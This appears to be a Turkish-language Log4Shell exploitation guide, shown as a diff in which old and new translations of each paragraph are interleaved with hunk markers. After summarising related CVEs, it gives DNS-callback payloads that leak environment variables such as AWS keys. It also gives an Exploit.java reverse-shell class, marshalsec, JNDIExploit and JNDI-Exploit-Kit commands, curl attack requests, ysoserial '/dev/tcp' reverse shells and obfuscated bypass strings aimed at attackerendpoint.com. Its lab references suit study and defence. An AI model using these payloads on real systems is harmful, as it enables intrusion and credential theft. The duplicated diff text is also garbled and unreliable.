Bu zafiyet, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkileyen `log4j-core` bileşeninde kritik bir **güvenilmeyen serileştirme hatası**dır. Sistemlerin ele geçirilmesine izin veren **uzaktan kod yürütme (RCE)** sağlar. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından bildirildi ve çeşitli Apache çerçevelerini etkiler. 2.15.0 sürümündeki ilk düzeltme eksikti. Savunma için Sigma kuralları mevcuttur ([Kural 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Kural 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
Bu zafiyet, `log4j-core` bileşenindeki kritik bir **güvenilmeyen serileştirme açığı** olup, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. **Uzaktan kod yürütme (RCE)** sağlayarak saldırganların sistemleri ele geçirmesine olanak tanır. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından bildirilmiş olup çeşitli Apache çerçevelerini etkilemektedir. İlk düzeltme 2.15.0 sürümünde eksikti. Savunma için Sigma kuralları mevcuttur ([Kural 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Kural 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **[Kritik]**
Başlangıçta düşük olarak derecelendirilen ancak daha sonra kritik olarak yükseltilen bu CVE, 2.15.0 sürümünde CVE-2021-44228 için eksik bir düzeltmeden kaynaklanan bir **Hizmet Reddi (DoS)** hatasıdır. Varsayılan olmayan yapılandırmaları etkiler ve saldırganların oluşturulmuş yükler aracılığıyla DoS saldırılarına neden olmasına izin verir. Bir [tweet](https://twitter.com/marcioalm/status/1471740771581652995) bir atlatma yöntemini sergilemektedir. Sorun, mesaj arama desenlerini kaldırarak ve JNDI'yi varsayılan olarak devre dışı bırakarak 2.16.0 ve 2.12.2 sürümlerinde çözülmüştür.
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Kritik]**
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **[Yüksek]**
`JMSAppender` kullanarak varsayılan olmayan yapılandırmalarda etkili olan **Log4j 1.x sürümlerini** etkileyen bu CVE, güvenilmeyen serileştirme hatasıdır. 1.x dalı için mevcut bir düzeltme bulunmamaktadır ve `log4j-core 2.17.0`'a yükseltme önerilir.
Başlangıçta düşük derecelendirilen ancak daha sonra kritik olarak yükseltilen bu CVE, CVE-2021-44228 için 2.15.0'da eksik bir düzeltmeden kaynaklanan bir **Hizmet Reddi (DoS)**ığıdır. Varsayılan olmayan yapıları etkiler ve saldırganların hazırlanan yükler aracılığıyla DoS saldırılarına neden olmalarına olanak tanır. Bir [tweet](https://twitter.com/marcioalm/status/1471740771581652995) bir atlatma yöntemini sergilemektedir. Sorun, mesaj arama desenlerinin kaldırılması ve JNDI'nın varsayılan olarak devre dışı bırakılmasıyla 2.16.0 ve 2.12.2 sürümlerinde çözülmüştür.
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **[Orta]**
Bu zafiyet, Log4j 1.x'in halefi olan Logback günlükleme çerçevesini etkiler. Daha önce güvenli olduğu düşünülen çerçeve, savunmasız bulundu ve sorunu çözmek için yeni sürümler (1.3.0-alpha11 ve 1.2.9) yayınlandı.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Yüksek]**
### **CVE-2021-45105** **[Yüksek]**
Log4j 2.16.0, bir Hizmet Reddi (DoS) hatası içerir ve CVE'yi düzeltmek için `log4j 2.17.0` sürümünün yayınlanmasını gerektirir. Daha fazla ayrıntı BleepingComputer'ın [raporunda](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) bulunmaktadır.
`JMSAppender` kullanarak varsayılan olmayan yapıları etkileyen bu CVE, güvenilmeyen serileştirme açığıdır ve 1.x dalı için herhangi bir düzeltme mevcut değildir ve ömürlerini tamamlamıştır, `log4j-core 2.17.0`'a yükseltme önerilir.
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Orta]**
Bu zafiyet, Log4j 1.x'in halefi olan **Logback günlükleme çerçevesini** etkilemektedir. Önceden güvenli olduğu düşünülen çerçeve, savunmasız bulunmuş ve sorunu ele almak için yeni sürümler (1.3.0-alpha11 ve 1.2.9) yayımlanmıştır.
### **CVE-2021-45105** **\[Yüksek]**
Log4j 2.16.0, bir DoS açığı içermekte olup, CVE'yi düzeltmek için `log4j 2.17.0` sürümünün yayınlanmasını gerektirmiştir. Daha fazla ayrıntıya BleepingComputer'ın [raporunda](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) yer verilmiştir.
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Log4j 2.17 sürümünü etkileyen bu CVE, saldırganın log4j'nin yapılandırma dosyasını kontrol etmesini gerektirir. Yapılandırılmış bir JDBCAppender aracılığıyla potansiyel keyfi kod yürütme içerir. Daha fazla ayrıntı [Checkmarx blog yazısında](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) bulunabilir.
Log4j sürüm 2.17'yi etkileyen bu CVE, saldırganın log4j'in yapılandırma dosyasını kontrol etmesini gerektirir. Yapılandırılmış bir JDBCAppender aracılığıyla potansiyel keyfi kod yürütme içermektedir. Daha fazla ayrıntı [Checkmarx blog gönderisinde](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) bulunmaktadır.
## Log4Shell Sömürüsü
### Keşif
Bu zafiyet, korumasızsa keşfi çok kolaydır çünkü en azından payloadunuzda belirttiğiniz adrese bir **DNS isteği** gönderir. Bu nedenle, aşağıdaki gibi payloadlar:
Bu zafiyet, korumasızsa belirttiğiniz adres üzerine en az bir **DNS isteği** göndereceğinden keşfetmesi çok kolaydır. Bu nedenle, şu gibi yükler:
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` ([canarytokens.com](https://canarytokens.org/generate) kullanarak)
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` ([interactsh](https://github.com/projectdiscovery/interactsh) kullanarak)
@ -126,30 +140,30 @@ Bu zafiyet, korumasızsa keşfi çok kolaydır çünkü en azından payloadunuzd
* `${jndi:ldap://2j4ayo.dnslog.cn}` ([dnslog](http://dnslog.cn) kullanarak)
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` ([huntress](https://log4shell.huntress.com) kullanarak)
**Bir DNS isteği alınsa bile, bu uygulamanın sömürülebilir** (veya hatta savunmasız) olduğu anlamına gelmez, sömürmeyi denemeniz gerekecektir.
**Bir DNS isteği alınsa bile uygulamanın sömürülebilir** (veya hatta savunmasız) olduğu anlamına gelmez, sömürmeyi denemeniz gerekecektir.
{% hint style="info" %}
2.15 sürümünü **sömürmek için localhost kontrolünü atlamak** için ${jndi:ldap://**127.0.0.1#**...} eklemeniz gerektiğini unutmayın.
**Sürüm 2.15'i sömürmek için** **yerel ana bilgisayar kontrol atlatmasını** eklemeniz gerektiğini unutmayın: ${jndi:ldap://**127.0.0.1#**...}
{% endhint %}
#### **Yerel Keşif**
Aşağıdaki komutla **yerel savunmasız sürümleri** arayın:
Kütüphanenin **yerel savunmasız sürümlerini** aramak için:
```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```
### **Doğrulama**
Önceden listelenen bazı platformlar, istendiğinde kaydedilecek olan değişken verileri eklemenize izin verecektir.\
Bu, 2 şey için çok faydalı olabilir:
Önce listelenen bazı platformlar, istendiğinde kaydedilecek bazı değişken verileri eklemenize izin verecektir.\
Bu, 2 şey için çok yararlı olabilir:
* Zafiyeti **doğrulamak** için
* Zafiyeti istismar ederek bilgi **sızdırmak** için
* Zafiyeti istismar ederek bilgi **dışarı sızdırmak** için
Örneğin, şunu isteyebilirsiniz:\
veya `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** ve eğer bir **DNS isteği, ortam değişkeninin değeriyle birlikte alınırsa**, uygulamanın zafiyete sahip olduğunu bilirsiniz.
Örneğin şunu isteyebilirsiniz:\
veya `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** gibi ve bir **DNS isteği, ortam değişkeninin değeriyle alındığında**, uygulamanın zafiyetli olduğunu bilirsiniz.
Sızdırmaya çalışabileceğiniz diğer bilgiler:
Denemeye çalışabileceğiniz diğer bilgiler:
```
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
@ -203,22 +217,22 @@ Any other env variable name that could store sensitive information
### RCE Bilgisi
{% hint style="info" %}
JDK sürümleri 6u141, 7u131 veya 8u121'den daha yeni olan sunucular, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, `com.sun.jndi.ldap.object.trustURLCodebase` varsayılan olarak devre dışı olduğu için JNDI'nin LDAP aracılığıyla uzaktan bir kod tabanını yüklemesini engeller. Bununla birlikte, bu sürümlerin **serileştirme saldırı vektörüne karşı korunmadığı** önemli bir noktadır.
JDK sürümleri 6u141, 7u131 veya 8u121'den yüksek olan sunucular, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, `com.sun.jndi.ldap.object.trustURLCodebase`'in varsayılan olarak devre dışı bırakılmasından kaynaklanmaktadır, bu da JNDI'nin LDAP aracılığıyla uzak bir kod tabanını yüklemesini engeller. Bununla birlikte, bu sürümlerin **deserializasyon saldırı vektörüne karşı korunmadığını** unutmamak önemlidir.
Bu daha yeni JDK sürümlerini sömürmeyi amaçlayan saldırganlar, Java uygulaması içinde bir **güvenilir araç** kullanmak zorundadır. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Öte yandan, daha eski JDK sürümlerini sömürmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yüklemek ve yürütmek için manipüle edilebilir.
Bu daha yüksek JDK sürümlerini sömürmeyi amaçlayan saldırganlar için, Java uygulaması içinde bir **güvenilir cihaz** kullanmak gereklidir. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Öte yandan, daha düşük JDK sürümlerini sömürmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yüklemek ve yürütmek için manipüle edilebilir.
**Daha fazla bilgi** (_RMI ve CORBA vektörlerindeki sınırlamalar gibi_) **önceki JNDI Naming Referans bölümünü** veya [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) kontrol edin.
**Daha fazla bilgi için** (_RMI ve CORBA vektörlerindeki kısıtlamalar gibi_) **önceki JNDI Naming Referans bölümünü** kontrol edin veya [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) adresini ziyaret edin.
{% endhint %}
### RCE - Özel yük ile Marshalsec
Bu işlemi **THM kutusunda** test edebilirsiniz: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
[**marshalsec**](https://github.com/mbechler/marshalsec) aracını kullanın (jar sürümü [**burada**](https://github.com/RandomRobbieBF/marshalsec-jar) mevcuttur). Bu yaklaşım, bağlantıları ikincil bir HTTP sunucusuna yönlendiren bir LDAP yönlendirme sunucusu oluşturur ve saldırının barındırılacağı yer burasıdır:
[**marshalsec**](https://github.com/mbechler/marshalsec) aracını kullanın (jar sürümü [**burada**](https://github.com/RandomRobbieBF/marshalsec-jar) mevcuttur). Bu yaklaşım, bir LDAP yönlendirme sunucusu oluşturarak bağlantıları ikincil bir HTTP sunucusuna yönlendirir ve saldırının barındırılacağı yerdir:
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```
Hedefin ters kabuk kodunu yüklemesi için, aşağıdaki içeriğe sahip `Exploit.java` adında bir Java dosyası oluşturun:
Hedefi ters kabuk kodunu yüklemeye zorlamak için aşağıdaki içeriğe sahip `Exploit.java` adında bir Java dosyası oluşturun:
```java
public class Exploit {
static {
@ -230,42 +244,41 @@ e.printStackTrace();
}
}
```
Java dosyasını bir sınıf dosyasına derlemek için şunu kullanın: `javac Exploit.java -source 8 -target 8`. Ardından, sınıf dosyasını içeren dizinde bir **HTTP sunucusu** başlatmak için şunu kullanın: `python3 -m http.server`. **marshalsec LDAP sunucusunun** bu HTTP sunucusuna referans verdiğinden emin olun.
Java dosyasını bir sınıf dosyasına derlemek için şunu kullanın: `javac Exploit.java -source 8 -target 8`. Ardından, sınıf dosyasını içeren dizinde bir **HTTP sunucusu** başlatın: `python3 -m http.server`. **marshalsec LDAP sunucusunun** bu HTTP sunucusuna referans verdiğinden emin olun.
Hassas web sunucusunda exploit sınıfının çalıştırılmasını tetiklemek için aşağıdaki gibi bir payload gönderin:
Hassas web sunucusunda exploit sınıfının yürütülmesini tetiklemek için şu şekilde bir payload gönderin:
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
**Not:** Bu saldırı, Java'nın LDAP aracılığıyla uzaktan kod tabanı yükleme izin veren yapılandırmasına dayanmaktadır. Bu izin verilmiyorsa, keyfi kod yürütme için güvenilir bir sınıfı sömürmeyi düşünebilirsiniz.
**Not:** Bu açık, Java'nın LDAP aracılığıyla uzaktan kod tabanı yükleme izin veren yapılandırmasına dayanmaktadır. Bu izin verilmiyorsa, keyfi kod yürütme için güvenilen bir sınıfı sömürmeyi düşünebilirsiniz.
### RCE - **JNDIExploit**
{% hint style="info" %}
Yazar, log4shell'in keşfinden sonra bu projeyi github'dan kaldırmıştır. [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) adresinde önbelleğe alınmış bir sürüm bulabilirsiniz, ancak yazarın kararına saygı duymak isterseniz bu zafiyeti sömürmek için farklı bir yöntem kullanın.
Bazı nedenlerden dolayı yazar, log4shell keşfinden sonra bu projeyi github'dan kaldırmıştır. Bir önbelleklenmiş sürümü [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) adresinde bulabilirsiniz ancak yazarın kararına saygı duymak isterseniz bu zafiyeti sömürmek için farklı bir yöntem kullanın.
Ayrıca, kaynak kodunu wayback machine'de bulamazsınız, bu yüzden ya kaynak kodunu analiz edin ya da ne yürüttüğünüzü bilmediğiniz bir jar dosyasını çalıştırın.
Ayrıca, kaynak kodunu wayback machine'de bulamazsınız, bu nedenle ya kaynak kodunu analiz edin ya da neyi yürüttüğünüzü bilmediğinizi bilerek jar dosyasını çalıştırın.
{% endhint %}
Bu örnekte, log4shell'in güvenlik açığına sahip bir **zayıf web sunucusunu** 8080 numaralı bağlantı noktasında çalıştırabilirsiniz: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README dosyasında nasıl çalıştırılacağını bulabilirsiniz_). Bu zayıf uygulama, HTTP isteği başlığı _X-Api-Version_ içeriğini log4shell'in güvenlik açığına sahip bir sürümüyle kaydetmektedir.
Bu örnekte, **log4shell'e karşı savunmasız web sunucusunu** 8080 numaralı portta çalıştırabilirsiniz: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README dosyasında nasıl çalıştırılacağını bulabilirsiniz_). Bu savunmasız uygulama, HTTP isteği başlığı _X-Api-Version_ içeriğini log4shell'in savunmasız bir sürümüyle günlüyor.
Ardından, **JNDIExploit** jar dosyasını indirebilir ve aşağıdaki komutla çalıştırabilirsiniz:
Daha sonra, **JNDIExploit** jar dosyasını indirip şu şekilde çalıştırabilirsiniz:
```bash
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
Kodları sadece birkaç dakika okuduktan sonra, _com.feihong.ldap.LdapServer_ ve _com.feihong.ldap.HTTPServer_ içinde **LDAP ve HTTP sunucularının nasıl oluşturulduğunu** görebilirsiniz. LDAP sunucusu, hangi payload'ın sunulması gerektiğini anlayacak ve kurbanı HTTP sunucusuna yönlendirecek, bu sunucu ise saldırıyı gerçekleştirecektir.\
_com.feihong.ldap.gadgets_ içinde, istenen eylemi gerçekleştirmek için kullanılabilecek **bazı özel araçları** bulabilirsiniz (potansiyel olarak keyfi kod yürütebilir). Ve _com.feihong.ldap.template_ içinde, saldırıları **oluşturacak farklı şablon sınıflarını** görebilirsiniz.
Kodları sadece birkaç dakika okuduktan sonra, _com.feihong.ldap.LdapServer_ ve _com.feihong.ldap.HTTPServer_ içinde **LDAP ve HTTP sunucularının nasıl oluşturulduğunu** görebilirsiniz. LDAP sunucusu, hangi yükün hizmet edilmesi gerektiğini anlayacak ve kurbanı HTTP sunucusuna yönlendirecek, bu da saldırıyı gerçekleştirecektir.\
_com.feihong.ldap.gadgets_ içinde **kullanılabilecek bazı belirli cihazlar** bulabilirsiniz (potansiyel olarak keyfi kod yürütmek için). Ve _com.feihong.ldap.template_ içinde, **saldırıları oluşturacak** farklı şablon sınıflarını görebilirsiniz.
Tüm mevcut saldırıları **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** komutuyla görebilirsiniz. Bazı faydalı olanlar:
Tüm mevcut saldırıları **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** ile görebilirsiniz. Bazı faydalı olanlar:
```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```
Öyleyse, örneğimizde zaten çalışan bu zafiyetli docker uygulamasını ele geçirmek için:
Yani, örneğimizde zaten o açık docker uygulaması çalışıyor. Ona saldırmak için:
```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
@ -274,14 +287,14 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```
Saldırıları gönderirken, **JNDIExploit-1.2-SNAPSHOT.jar**'ı çalıştırdığınız terminalde bazı çıktılar göreceksiniz.
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
Diğer saldırı seçeneklerini kontrol etmek için `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` komutunu kontrol etmeyi unutmayın. Ayrıca, ihtiyaç duyarsanız, LDAP ve HTTP sunucularının bağlantı noktasını değiştirebilirsiniz.
Saldırıları gönderirken, **JNDIExploit-1.2-SNAPSHOT.jar** dosyasını çalıştırdığınız terminalde bazı çıktılar göreceksiniz.
### Uzaktan Kod Çalıştırma (RCE) - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
**Diğer saldırı seçeneklerini kontrol etmek için `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` komutunu hatırlayın. Ayrıca, ihtiyaç duyarsanız, LDAP ve HTTP sunucularının portunu değiştirebilirsiniz.**
Önceki saldırıya benzer şekilde, bu zafiyeti sömürmek için [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kullanmayı deneyebilirsiniz.\
Kurban kişiye göndermek için URL'leri oluşturabilirsiniz:
Benzer şekilde önceki açıktaki gibi, bu zafiyeti sömürmek için [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kullanabilirsiniz.\
Kurban'a göndermek için URL'leri oluşturabilirsiniz:
```bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
@ -289,26 +302,26 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_Bu saldırı, **THM solar odası** gibi laboratuvarlarda çalışacaktır. Ancak, genel olarak çalışmayacaktır (çünkü varsayılan olarak Java, LDAP kullanarak uzak kod tabanını yüklemeye yapılandırılmamıştır) çünkü güvenilen bir sınıfı kötüye kullanarak keyfi kodu yürütmüyor gibi görünüyor._
_Bu saldırı, özel olarak oluşturulmuş bir java nesnesini kullanarak **THM solar room** gibi laboratuvarlarda çalışacaktır. Bununla birlikte, genel olarak çalışmayacaktır (çünkü Java varsayılan olarak LDAP kullanarak uzak kod tabanını yükleme şeklinde yapılandırılmamıştır) çünkü güvenilen bir sınıfı kötüye kullanarak keyfi kod yürütmüyor gibi görünüyor._
### RCE - ysoserial ve JNDI-Exploit-Kit
### Uzaktan Kod Yürütme (RCE) - ysoserial ve JNDI-Exploit-Kit
Bu seçenek, **yalnızca belirli sınıflara güvenen Java sürümlerini hedeflemek için gerçekten kullanışlıdır**. Bu nedenle, **ysoserial**, **güvenilen sınıfların seri hale getirilmesini** üretebilmek için kullanılacak ve bu seri hale getirilmiş sınıflar, keyfi kodu **yürütmek için kullanılabilir** (_ysoserial tarafından kötüye kullanılan güvenilen sınıf, saldırının çalışması için kurban Java programı tarafından kullanılmalıdır_).
Bu seçenek, **yalnızca belirli sınıflara güvenen Java sürümlerini hedef almak için gerçekten kullanışlıdır ve herkese güvenmez**. Bu nedenle, **ysoserial**, **güvenilen sınıfların serileştirilmesini oluşturmak için kullanılacak** ve **keyfi kod yürütmek için kullanılabilecek aygıtlar olarak** kullanılabilecek (_ysoserial tarafından kötüye kullanılan güvenilen sınıf, saldırının çalışabilmesi için kurban java programı tarafından kullanılmalıdır_).
**ysoserial** veya [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) kullanarak JNDI tarafından indirilecek seri hale getirme saldırısını oluşturabilirsiniz:
**ysoserial** veya [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) kullanarak JNDI tarafından indirilecek deserializasyon saldırısını oluşturabilirsiniz:
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kullanarak, saldırı bekleyen zafiyetli makinelerden gelen bağlantıları bekleyen **JNDI bağlantıları** oluşturun. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulan **farklı saldırılar** veya kendi oluşturduğunuz veya ysoserial tarafından oluşturulan **deserializasyon payloadları** ile hizmet verebilirsiniz.
Kullanarak [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kullanarak **JNDI bağlantıları** oluşturun, bu bağlantılar zafiyetli makinelerden gelen bağlantıları bekleyecektir. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulan **farklı exploit'leri** veya hatta kendi **serileştirme yüklerinizi** (siz veya ysoserial tarafından oluşturulan) sunabilirsiniz.
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
![](<../../.gitbook/assets/image (642) (1) (1).png>)
Artık zafiyeti sömürmek ve bir ters kabuk elde etmek için oluşturulan bir JNDI bağlantısını kolayca kullanabilirsiniz: **`${ldap://10.10.14.10:1389/generated}`**. Bu bağlantıyı, log4j'ın zafiyete açık bir sürümüne göndererek ters kabuk elde edebilirsiniz.
Artık zafiyeti sömürmek ve bir **ters kabuk** elde etmek için oluşturulan JNDI bağlantısını kolayca kullanabilirsiniz: **`${ldap://10.10.14.10:1389/generated}`**
### Atlamalar
### Atlatmalar
```java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
@ -320,7 +333,7 @@ ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
```
### Otomatik Tarama Araçları
### Otomatik Tarayıcılar
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
@ -329,71 +342,72 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Yerel savunmasız kütüphaneleri bulur
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Yerel savunmasız kütüphaneleri bulun
### Test için Lablar
### Test Laboratuvarları
* [**LogForge HTB makinesi**](https://app.hackthebox.com/tracks/UHC-track)
* [**Try Hack Me Solar odası**](https://tryhackme.com/room/solar)
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
## Log4Shell Sömürü Sonrası
## Log4Shell Sızma Sonrası
Bu [**CTF yazısı**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) Log4J'nin bazı özelliklerinin potansiyel olarak **kötüye kullanılmasının mümkün olduğunu** iyi bir şekilde açıklamaktadır.
Bu [**CTF yazısı**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) Log4J'nin bazı özelliklerinin potansiyel olarak **istismar edilebileceğini** iyi bir şekilde açıklıyor.
Log4j'nin [**güvenlik sayfası**](https://logging.apache.org/log4j/2.x/security.html) bazı ilginç cümleler içermektedir:
Log4j'in [**güvenlik sayfası**](https://logging.apache.org/log4j/2.x/security.html) ilginç cümleler içeriyor:
> Sürüm 2.16.0'dan itibaren (Java 8 için), **mesaj arama özelliği tamamen kaldırılmıştır**. **Yapılandırmadaki aramalar hala çalışır**. Ayrıca, Log4j artık JNDI erişimini varsayılan olarak devre dışı bırakır. Yapılandırmadaki JNDI aramaları artık açıkça etkinleştirilmelidir.
> Java 8 için 2.16.0 sürümünden itibaren **mesaj aramaları özelliği tamamen kaldırılmıştır**. **Yapılandırmadaki aramalar hala çalışır**. Ayrıca, Log4j artık varsayılan olarak JNDI erişimini devre dışı bırakır. Yapılandırmadaki JNDI aramalarının açık olması gerekmektedir.
> Sürüm 2.17.0'den itibaren (ve Java 7 ve Java 6 için 2.12.3 ve 2.3.1), **yalnızca yapılandırmadaki arama dizeleri özyinelemeli olarak genişletilir**; diğer herhangi bir kullanımda, yalnızca en üst düzey arama çözülür ve herhangi bir iç içe arama çözülmez.
> 2.17.0 sürümünden itibaren (ve Java 7 ve Java 6 için 2.12.3 ve 2.3.1), **yapılandırmadaki yalnızca arama dizeleri özyinelemeli olarak genişletilir**; diğer herhangi bir kullanımda, yalnızca en üst düzey arama çözülür ve herhangi bir iç içe arama çözülmez.
Bu, varsayılan olarak herhangi bir `jndi` saldırısı yapamayacağınız anlamına gelir. Dahası, özyinelemeli aramaları gerçekleştirmek için bunları yapılandırmanız gerekmektedir.
Bu, varsayılan olarak herhangi bir `jndi` saldırısını **unutmanız gerektiği** anlamına gelir. Dahası, **özyinelemeli aramaları** gerçekleştirmek için bunları yapılandırmanız gerekmektedir.
Örneğin, bu CTF'de log4j2.xml dosyasında bunun yapılandırıldığı gibi:
Örneğin, bu CTF'de log4j2.xml dosyasında şu şekilde yapılandırılmıştı:
```xml
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
```
### Env Lookups
### Ortam Aramaları
